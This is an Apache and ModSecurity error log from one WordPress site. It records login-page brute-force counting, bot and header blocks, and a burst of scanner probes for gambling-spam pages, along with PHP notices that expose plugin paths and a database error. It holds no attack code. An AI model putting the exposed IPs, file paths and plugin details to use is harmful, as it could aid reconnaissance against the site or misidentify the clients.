[Sun Mar 01 11:45:16.508950 2026] [:error] [pid 24576:tid 24579] [client 85.11.167.108:33969] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO2TIvfb5CnctJh071NbwAAAQA"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:45:19.493064 2026] [:error] [pid 24576:tid 24592] [client 85.11.167.108:40054] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO2T4vfb5CnctJh071NdQAAAQw"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:45:28.539465 2026] [:error] [pid 33767:tid 33792] [client 85.11.167.108:46612] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO2WEGyeKe3MWsxvBgUZQAAAhY"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:58:48.525017 2026] [:error] [pid 34552:tid 34556] [client 43.153.49.151:57230] [client 43.153.49.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaO5eHBlU_DRqGi4yvsccgAAAsE"]
[Sun Mar 01 12:39:08.723642 2026] [proxy_fcgi:error] [pid 8688:tid 8703] [client 103.4.122.14:38946] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Sun Mar 01 12:39:26.844005 2026] [proxy_fcgi:error] [pid 34552:tid 34564] [client 103.4.122.14:39046] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Trying to get property 'version' of non-object in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Sun Mar 01 12:39:31.795434 2026] [proxy_fcgi:error] [pid 21158:tid 21195] [client 103.4.122.14:39156] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Sun Mar 01 12:43:15.810404 2026] [autoindex:error] [pid 35350:tid 35363] [client 84.247.187.54:62589] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Mar 01 13:39:01.344578 2026] [:error] [pid 44644:tid 44662] [client 125.94.144.102:57576] [client 125.94.144.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaPQ9Z3RJaXMcw3y9V8_5AAAAA8"]
[Sun Mar 01 14:29:33.534033 2026] [:error] [pid 44644:tid 44669] [client 62.60.131.218:49324] [client 62.60.131.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaPczZ3RJaXMcw3y9V9vbQAAABY"]
[Sun Mar 01 14:30:43.580446 2026] [proxy_fcgi:error] [pid 37032:tid 37039] [client 51.83.9.208:33174] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1772346643.3604750633239746093750', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, add_option'
[Sun Mar 01 14:31:26.509179 2026] [:error] [pid 37032:tid 37053] [client 51.83.9.208:33174] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aaPdPuu0U4o7eSImsVQXCgAAAZM"]
[Sun Mar 01 14:41:46.575425 2026] [:error] [pid 38034:tid 38046] [client 5.39.65.19:33432] [client 5.39.65.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.39.65.19, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaPfqgxtfZjwlJok9K-P4QAAAQg"]
[Sun Mar 01 15:17:00.975877 2026] [:error] [pid 38241:tid 38250] [client 43.156.204.134:33818] [client 43.156.204.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaPn7PKRPk6YnJBxw_w1vgAAAMY"]
[Sun Mar 01 15:24:26.170211 2026] [:error] [pid 38034:tid 38039] [client 51.195.103.76:51398] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aaPpqgxtfZjwlJok9K-rVgAAAQM"]
[Sun Mar 01 15:24:28.577535 2026] [:error] [pid 38241:tid 38255] [client 51.195.103.76:51426] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aaPprPKRPk6YnJBxw_w9GgAAAMs"]
[Sun Mar 01 15:24:30.981129 2026] [:error] [pid 37032:tid 37048] [client 51.195.103.76:51436] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aaPpruu0U4o7eSImsVRAsAAAAY4"]
[Sun Mar 01 15:24:33.329209 2026] [:error] [pid 41967:tid 41991] [client 51.195.103.76:35998] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aaPpsYO1bqY181I02eGNAQAAAJY"]
[Sun Mar 01 15:24:35.674909 2026] [:error] [pid 37032:tid 37048] [client 51.195.103.76:36014] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aaPps-u0U4o7eSImsVRAuQAAAY4"]
[Sun Mar 01 15:24:38.140955 2026] [:error] [pid 38034:tid 38061] [client 51.195.103.76:36026] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aaPptgxtfZjwlJok9K-rdQAAARc"]
[Sun Mar 01 15:24:40.615749 2026] [:error] [pid 38034:tid 38037] [client 51.195.103.76:36044] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aaPpuAxtfZjwlJok9K-rhAAAAQE"]
[Sun Mar 01 15:24:43.096681 2026] [:error] [pid 44644:tid 44659] [client 51.195.103.76:33140] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aaPpu53RJaXMcw3y9V-heAAAAAw"]
[Sun Mar 01 15:24:45.426550 2026] [:error] [pid 37032:tid 37057] [client 51.195.103.76:33158] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aaPpveu0U4o7eSImsVRA0gAAAZc"]
[Sun Mar 01 15:24:47.827044 2026] [:error] [pid 42619:tid 42638] [client 51.195.103.76:33180] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aaPpvx_zUXcYaZE4AOePrQAAAVE"]
[Sun Mar 01 15:24:50.153669 2026] [:error] [pid 38034:tid 38055] [client 51.195.103.76:33190] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aaPpwgxtfZjwlJok9K-rtgAAARE"]
[Sun Mar 01 15:24:52.659700 2026] [:error] [pid 40750:tid 40765] [client 51.195.103.76:16474] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aaPpxAfBuk03yQKDyqvK5gAAAcw"]
[Sun Mar 01 15:24:55.258070 2026] [:error] [pid 37032:tid 37056] [client 51.195.103.76:16490] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aaPpx-u0U4o7eSImsVRA6AAAAZY"]
[Sun Mar 01 15:24:57.505110 2026] [:error] [pid 37032:tid 37035] [client 51.195.103.76:16520] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aaPpyeu0U4o7eSImsVRA9QAAAYE"]
[Sun Mar 01 15:25:00.002154 2026] [:error] [pid 44644:tid 44651] [client 51.195.103.76:16544] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aaPpzJ3RJaXMcw3y9V-hqAAAAAQ"]
[Sun Mar 01 15:25:02.383641 2026] [:error] [pid 37032:tid 37042] [client 51.195.103.76:25182] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aaPpzuu0U4o7eSImsVRBAwAAAYg"]
[Sun Mar 01 15:25:04.854009 2026] [:error] [pid 37032:tid 37036] [client 51.195.103.76:25202] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aaPp0Ou0U4o7eSImsVRBDgAAAYI"]
[Sun Mar 01 15:25:07.505812 2026] [:error] [pid 38034:tid 38054] [client 51.195.103.76:25216] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aaPp0wxtfZjwlJok9K-sBQAAARA"]
[Sun Mar 01 15:25:09.881269 2026] [:error] [pid 38241:tid 38264] [client 51.195.103.76:25234] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aaPp1fKRPk6YnJBxw_w9wgAAANQ"]
[Sun Mar 01 15:25:12.503692 2026] [:error] [pid 7133:tid 7150] [client 51.195.103.76:33976] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aaPp2PCtubh8pR64qB_HTQAAAE8"]
[Sun Mar 01 15:25:14.973566 2026] [:error] [pid 7165:tid 7191] [client 51.195.103.76:33990] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aaPp2hRjCrA8qWBjgG8uaAAAAlg"]
[Sun Mar 01 15:25:17.610617 2026] [:error] [pid 7133:tid 7156] [client 51.195.103.76:34012] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aaPp3fCtubh8pR64qB_HUAAAAFU"]
[Sun Mar 01 15:25:20.121134 2026] [:error] [pid 38241:tid 38264] [client 51.195.103.76:34028] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aaPp4PKRPk6YnJBxw_w95QAAANQ"]
[Sun Mar 01 15:25:52.794088 2026] [:error] [pid 37032:tid 37056] [client 51.195.103.76:36016] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aaPqAOu0U4o7eSImsVRBhQAAAZY"]
[Sun Mar 01 15:25:55.176180 2026] [:error] [pid 44644:tid 44670] [client 51.195.103.76:36032] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aaPqA53RJaXMcw3y9V-iUwAAABc"]
[Sun Mar 01 15:25:57.704890 2026] [:error] [pid 44644:tid 44670] [client 51.195.103.76:36048] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aaPqBZ3RJaXMcw3y9V-iXQAAABc"]
[Sun Mar 01 15:26:00.202514 2026] [:error] [pid 38034:tid 38054] [client 51.195.103.76:36060] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aaPqCAxtfZjwlJok9K-tCQAAARA"]
[Sun Mar 01 15:26:02.709078 2026] [:error] [pid 41967:tid 41993] [client 51.195.103.76:55464] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aaPqCoO1bqY181I02eGNbQAAAJg"]
[Sun Mar 01 15:26:05.148111 2026] [:error] [pid 7165:tid 7190] [client 51.195.103.76:55486] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aaPqDRRjCrA8qWBjgG8u5gAAAlc"]
[Sun Mar 01 15:26:07.572715 2026] [:error] [pid 38034:tid 38055] [client 51.195.103.76:55504] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aaPqDwxtfZjwlJok9K-tNgAAARE"]
[Sun Mar 01 15:26:10.113426 2026] [:error] [pid 37032:tid 37056] [client 51.195.103.76:55524] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aaPqEuu0U4o7eSImsVRBsQAAAZY"]
[Sun Mar 01 15:26:12.655426 2026] [:error] [pid 38034:tid 38050] [client 51.195.103.76:7176] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aaPqFAxtfZjwlJok9K-tVwAAAQw"]
[Sun Mar 01 15:26:15.171486 2026] [:error] [pid 37032:tid 37046] [client 51.195.103.76:7200] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aaPqF-u0U4o7eSImsVRBwgAAAYw"]
[Sun Mar 01 15:45:56.258064 2026] [:error] [pid 38034:tid 38052] [client 148.251.217.225:60996] [client 148.251.217.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.251.217.225, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaPutAxtfZjwlJok9K--iwAAAQ4"]
[Sun Mar 01 16:25:01.130894 2026] [:error] [pid 40750:tid 40766] [client 185.243.11.191:45078] [client 185.243.11.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.243.11.191, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaP33QfBuk03yQKDyqvfegAAAc0"]
[Sun Mar 01 16:51:27.086955 2026] [:error] [pid 7165:tid 7172] [client 5.135.139.120:55570] [client 5.135.139.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.135.139.120, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaP-DxRjCrA8qWBjgG9a_QAAAkU"]
[Sun Mar 01 17:20:25.409718 2026] [:error] [pid 38241:tid 38247] [client 185.199.223.39:36540] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.199.223.39, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaQE2fKRPk6YnJBxw_yQ6AAAAMM"]
